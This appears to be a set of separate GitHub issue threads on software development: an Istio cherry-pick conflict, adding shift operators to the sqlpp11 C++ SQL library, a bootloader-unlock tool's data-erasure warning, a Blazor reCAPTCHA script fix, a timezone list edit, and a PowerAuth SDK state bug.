M	pilot/pkg/proxy/envoy/v2/ep_filters_test.go
M	pilot/pkg/serviceregistry/kube/conversion.go
Falling back to patching base and 3-way merge...
Auto-merging pilot/pkg/serviceregistry/kube/conversion.go
Auto-merging pilot/pkg/proxy/envoy/v2/ep_filters_test.go
Auto-merging pilot/pkg/proxy/envoy/v2/ep_filters.go
CONFLICT (content): Merge conflict in pilot/pkg/proxy/envoy/v2/ep_filters.go
Patch failed at 0001 Skip using gateways with hostnames in split horizon

In response to this:

/cherrypick release-1.6

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

@rshriram: new issue created for failed cherrypick: #24363

In response to this:

/cherrypick release-1.6

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.


Does Sqlpp  support left shift operator <<?

Hi rbock, sorry to bother you again.
I want to write a sql like select(all_of(table)).from(table).where(((1 << table.alpha) & 0b101) > 0), but I find that sqlpp does not support left shift operator (or function pow). Is there any other way to help me achieve this sql?
Thank you.

No worries :-)
I always try to have such logic in the C++ code and not in the SQL.
That being said, I think it should be easy to add left and right shift operators to sqlpp11. Since you want them: Do you want to give it a try?

Which file in sqlpp11 can I refer to so that I can learn to add left and right shift operator? Maybe I can refer to  and modify the basic_expression_operators.h?

Hey, I refer to the basic_expression_operators.h file and successfully add left and right shift operator. However, I can only use statements like (table.alpha << n), but it turns out errors when I use it like (1 << table.alpha).  The error info is as follows:
/data/orm/sqlpp11/tests/Select.cpp: In function ‘int Select(int, char**)’:
/data/orm/sqlpp11/tests/Select.cpp:114:25: error: no match for ‘operator<<’ (operand types are ‘int’ and ‘sqlpp::return_type_minus_t<sqlpp::column_t<test::TabBar, test::TabBar_::Alpha>, int> {aka sqlpp::binary_expression_t<sqlpp::column_t<test::TabBar, test::TabBar_::Alpha>, sqlpp::op::minus<sqlpp::integral>, sqlpp::integral_operand>}’)
               .where((1 << (t.alpha - 1)) > 0 and trim(t.beta) == "test")
                       ~~^~~~~~~~~~~~~~~~
In file included from /data/orm/sqlpp11/include/sqlpp11/data_types/time_point.h:34:0,
                 from /data/orm/sqlpp11/include/sqlpp11/data_types.h:37,
                 from /data/orm/sqlpp11/tests/Sample.h:30,
                 from /data/orm/sqlpp11/tests/Select.cpp:27:
/data/orm/sqlpp11/include/sqlpp11/data_types/time_point/result_field.h:53:22: note: candidate: template<class Db, class NameType, bool CanBeNull> std::ostream& sqlpp::operator<<(std::ostream&, const sqlpp::result_field_t<Db, sqlpp::field_spec_t<NameType, sqlpp::time_point, CanBeNull> >&)
 inline std::ostream& operator<<(
                      ^~~~~~~~
/data/orm/sqlpp11/include/sqlpp11/data_types/time_point/result_field.h:53:22: note:   template argument deduction/substitution failed:
/data/orm/sqlpp11/tests/Select.cpp:114:40: note:   ‘sqlpp::return_type_minus_t<sqlpp::column_t<test::TabBar, test::TabBar_::Alpha>, int> {aka sqlpp::binary_expression_t<sqlpp::column_t<test::TabBar, test::TabBar_::Alpha>, sqlpp::op::minus<sqlpp::integral>, sqlpp::integral_operand>}’ is not derived from ‘const sqlpp::result_field_t<Db, sqlpp::field_spec_t<NameType, sqlpp::time_point, CanBeNull> >’
               .where((1 << (t.alpha - 1)) > 0 and trim(t.beta) == "test")

Please tell me what can I do to achieve (1 << table.alpha)?
Thank you.

Cool, that sounds like good progress!
Try sqlpp::value(1) << table.alpha.

sqlpp::value(1) << table.alpha still doesn't work. The error messages are like follows:
/data/orm/sqlpp11/tests/Select.cpp: In function ‘int Select(int, char**)’:
/data/orm/sqlpp11/tests/Select.cpp:124:40: error: no match for ‘operator<<’ (operand types are ‘sqlpp::wrap_operand_t<int> {aka sqlpp::integral_operand}’ and ‘const sqlpp::column_t<test::TabBar, test::TabBar_::Alpha>’)
               .where(((sqlpp::value(1) << t.alpha) & 0b1011) > 0 and trim(t.beta) == "test")
                        ~~~~~~~~~~~~~~~~^~~~~~~~~~
In file included from /data/orm/sqlpp11/include/sqlpp11/data_types/time_point.h:34:0,
                 from /data/orm/sqlpp11/include/sqlpp11/data_types.h:37,
                 from /data/orm/sqlpp11/tests/Sample.h:30,
                 from /data/orm/sqlpp11/tests/Select.cpp:27:
/data/orm/sqlpp11/include/sqlpp11/data_types/time_point/result_field.h:53:22: note: candidate: template<class Db, class NameType, bool CanBeNull> std::ostream& sqlpp::operator<<(std::ostream&, const sqlpp::result_field_t<Db, sqlpp::field_spec_t<NameType, sqlpp::time_point, CanBeNull> >&)
 inline std::ostream& operator<<(
                      ^~~~~~~~
/data/orm/sqlpp11/include/sqlpp11/data_types/time_point/result_field.h:53:22: note:   template argument deduction/substitution failed:
/data/orm/sqlpp11/tests/Select.cpp:124:45: note:   ‘const sqlpp::column_t<test::TabBar, test::TabBar_::Alpha>’ is not derived from ‘const sqlpp::result_field_t<Db, sqlpp::field_spec_t<NameType, sqlpp::time_point, CanBeNull> >’
               .where(((sqlpp::value(1) << t.alpha) & 0b1011) > 0 and trim(t.beta) == "test")

Ah, right, you still need to work on include/sqlpp11/data_types/integral/expression_operators.h.

I add the following code to include/sqlpp11/data_types/integral/expression_operators.h:
template <typename L, typename R>
struct return_type_bitwise_left_shift<L, R, binary_operand_check_t<L, is_integral_t, R, is_integral_t>> {
  using check = consistent_t;
  using type = bitwise_left_shift_t<wrap_operand_t<L>, integral, wrap_operand_t<R>>;
};

where bitwise_left_shift_t is defined in sqlpp11/include/expression_fwd.h:
template <typename Lhs, typename ValueType, typename Rhs>
using bitwise_left_shift_t = binary_expression_t<Lhs, op::bitwise_left_shift<ValueType>, Rhs>;

and bitwise_left_shift is as follows:
template <typename ValueType>
struct bitwise_left_shift {
  using _traits = make_traits<ValueType>;
  static constexpr const char* _name = "<<";
};

I also add the code in include/sqlpp11/basic_expression_operator.h
  template <typename R>
  auto operator<<(const R& r) const -> return_type_bitwise_left_shift_t<Expr, R> {
    typename return_type_bitwise_left_shift<Expr, R>::check{};
    return {*static_cast<const Expr*>(this), wrap_operand_t<R>{r}};
  }

Can you tell me how to modify the code in include/sqlpp11/data_types/integral/expression_operators.h to support sqlpp::value(1) << table.alpha?
Thank you so much!

Hmm. That's a surprise. I could have bet that sqlpp::value would return something with operators...
I uploaded my current develop branch. It contains rather massive changes, including the fact that the connector libraries for sqlite3 and MySQL are now in the core library and header-only.
This might be too much of a change for you right now (this is work in progress), but you should be able to use the updated include/sqlpp11/value.h.

Thank you so much. I'll give it a try.

Hi rbock, after updating include/sqlpp11/value.h,  I failed to pass the DateTime.cpp test with some serialize errors  for sqlpp::value as follows:
/data/orm/sqlpp11/tests/DateTime.cpp: In function ‘int DateTime(int, char**)’:
/data/orm/sqlpp11/tests/DateTime.cpp:55:25: error: invalid use of ‘void’
   std::cerr << serialize(::sqlpp::value(std::chrono::system_clock::now()), printer).str()
                ~~~~~~~~~^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In file included from /data/orm/sqlpp11/include/sqlpp11/serializer.h:29:0,
                 from /data/orm/sqlpp11/include/sqlpp11/type_traits.h:32,
                 from /data/orm/sqlpp11/include/sqlpp11/table.h:29,
                 from /data/orm/sqlpp11/tests/Sample.h:29,
                 from /data/orm/sqlpp11/tests/DateTime.cpp:27:
/data/orm/sqlpp11/include/sqlpp11/serializer.h: In instantiation of ‘sqlpp::assert_serializer_specialization_t::assert_serializer_specialization_t(T&& ...) [with T = {}]’:
/data/orm/sqlpp11/include/sqlpp11/serializer.h:46:61:   required from ‘static void sqlpp::serializer_t<Context, T, Enable>::_(const T&, Context&) [with Context = MockDb::_serializer_context_t; T = sqlpp::value_t<std::chrono::time_point<std::chrono::_V2::system_clock, std::chrono::duration<long int, std::ratio<1,<PHONE_NUMBER>> > > >; Enable = void]’
/data/orm/sqlpp11/include/sqlpp11/serialize.h:35:37:   required from ‘decltype (sqlpp::serializer_t<Context, T>::_(t, context)) sqlpp::serialize(const T&, Context&) [with T = sqlpp::value_t<std::chrono::time_point<std::chrono::_V2::system_clock, std::chrono::duration<long int, std::ratio<1,<PHONE_NUMBER>> > > >; Context = MockDb::_serializer_context_t; decltype (sqlpp::serializer_t<Context, T>::_(t, context)) = void]’
/data/orm/sqlpp11/tests/DateTime.cpp:55:83:   required from here
/data/orm/sqlpp11/include/sqlpp11/portable_static_assert.h:37:7: error: static assertion failed: missing serializer specialization
       static_assert(wrong_t<T...>::value, message); \
       ^
/data/orm/sqlpp11/include/sqlpp11/serializer.h:33:1: note: in expansion of macro ‘SQLPP_PORTABLE_STATIC_ASSERT’
 SQLPP_PORTABLE_STATIC_ASSERT(assert_serializer_specialization_t,
 ^~~~~~~~~~~~~~~~~~~~~~~~~~~~
gmake[2]: *** [tests/CMakeFiles/sqlpp11_tests.dir/DateTime.cpp.o] Error 1
gmake[1]: *** [tests/CMakeFiles/sqlpp11_tests.dir/all] Error 2
gmake: *** [all] Error 2

I looked into the commit history of branch develop, found amounts of modifications to serialize such as removing serializer.h, etc. As I am using the stable master code in our project,  it would take a lot of risks modifying too many codes. Can you tell me how to fix this sqlpp::value serialization error?
Thank you so much!

Hi, good point. I already got so used to the new form of serialization. Much easier to code...
Anyway: This should work:
/*
 * Copyright (c) 2013-2021, Roland Bock
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification,
 * are permitted provided that the following conditions are met:
 *
 *   Redistributions of source code must retain the above copyright notice, this
 *   list of conditions and the following disclaimer.
 *
 *   Redistributions in binary form must reproduce the above copyright notice, this
 *   list of conditions and the following disclaimer in the documentation and/or
 *   other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
 * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
 * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
 * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
 * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
 * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
 * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
 * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#ifndef SQLPP11_VALUE_H
#define SQLPP11_VALUE_H

#include <sqlpp11/type_traits.h>

namespace sqlpp
{
  template <typename T>
  struct value_t : public wrap_operand_t<T>, public expression_operators<value_t<T>, value_type_of<wrap_operand_t<T>>>
  {
    using _base_t = wrap_operand_t<T>;
    using _base_t::_base_t;

    const _base_t& get_base() const
    {
      return *this;
    }
  };

  template <typename T>
  auto value(T t) -> value_t<T>
  {
    static_assert(is_wrapped_value_t<wrap_operand_t<T>>::value,
                  "value() is to be called with non-sql-type like int, or string");
    return {t};
  }

  template <typename Context, typename T>
  struct serializer_t<Context, value_t<T>>
  {
    using _serialize_check = consistent_t;
    using Operand = value_t<T>;

    static Context& _(const Operand& t, Context& context)
    {
      serialize(t.get_base(), context);
      return context;
    }
  };

}  // namespace sqlpp

#endif

That works! Thank you so much! 👍 👍 👍
BTW, I want to learn the sqlpp11 source code, but I find it rather hard to understand :(. Can you give me suggestions about where should I start?
Thanks!

Glad it worked for you.
As for learning: It depends.

If you want to understand how this works and apply to your own projects at some point, I would recommend looking at sqlpp17 instead. It is easier to comprehend, but the fundamental ideas are the same.
If you want to understand this library in particular, I would recommend starting with the talks linked in the README.md.

Thanks, I will start with the talks!


There should be a warning of erasure before retrieving the code

So I've waited for 300 hours to unlock the bootloader, today did run the app, got the following warning:
user data will be cleared when the device is unlocked.

Press Enter to unlock bootloader

So I had to cancel (via ctrl+c) to back my data up, and after that on the next app run got the following:
code 20030

Sorry, couldn't unlock more devices by this account this month.

Guess there should be a warning for that.

to find out the reason, check : https://github.com/offici5l/MiUnlockTool/issues/22
(i've now added a new step before sending the request to ask the user to continue or exit. https://github.com/offici5l/MiUnlockTool/blob/main/MiUnlockTool.py#L331-L334)


reCAPTCHA couldn't find user-provided function: onloadCallback

Hello, I have a problem with the component the captcha not show and got this error,  I using net core 8 blazor server mode
reCAPTCHA couldn't find user-provided function: onloadCallback
Thanks for any help

Hi. Beed more info. Which version are yoylu using? can provide the project or code snippet?

Hi. Beed more info. Which version are yoylu using? can provide the project or code snippet?

Hi I can't provide the project unfortunately, but if this helps  I use net core 8 with blazor server mode,  I try to use captcha V3

Hi. Beed more info. Which version are yoylu using? can provide the project or code snippet?

Hi I can't provide the project unfortunately, but if this helps  I use net core 8 with blazor server mode,  I try to use captcha V3

What rendering mode is configured for the page using the captcha?

Hi. Beed more info. Which version are yoylu using? can provide the project or code snippet?

Hi I can't provide the project unfortunately, but if this helps  I use net core 8 with blazor server mode,  I try to use captcha V3

What rendering mode is configured for the page using the captcha?

@rendermode InteractiveServer

Set the detailed errors to true. This information does not help

Set the detailed errors to true. This information does not help

here the details

Set the detailed errors to true. This information does not help

here the details

have you referenced the loader script in .html file?
<script src="_content/GoogleCaptchaComponent/Scripts/ScriptLoader.js"></script>

Set the detailed errors to true. This information does not help

here the details

have you referenced the loader script in .html file?
<script src="_content/GoogleCaptchaComponent/Scripts/ScriptLoader.js"></script>

in the case of the server mode for blazor, doesn't have a html page, I try to add then href in the MainLayout.blazor but I think doesn't work

I found the problem I need to put the script in the App.razor and now it works thank you.


remove Berlin, add Chennai

Removing Berlin (our one German CTC member mentioned to me that Dusseldorf is closer to Amsterdam than Berlin and that the time is the same as Amsterdam at all times and there is no need to have a separate listing for Berlin).
Added Chennai.

lgtm


State cannot be stored after computing 1FA when EEK is use

Steps to reproduce:

Have an activation that was created with EEK.
Create an instance of this activation and do NOT set EEK.
Compute 1FA signature using the activation.
Signature is correctly computed.
=> State cannot be saved, therefore counter is not incremented.

I need to know which factor is used in this scenario. For me, It looks more like a bad error handling than the missing serialization, or bad counter computation.

Obviously, possession factor is used.

@ludek.vlk We are unable to reproduce this - can you please elaborate little more about what happens and what specifically fails inside the SDK? Is it iOS / Android specific?

We have verified this issue in the specific implementation and the issue really was that there were multiple instances of PowerAuthSDK class working with the same activation state. When using one instance as recommended, everything worked correctly.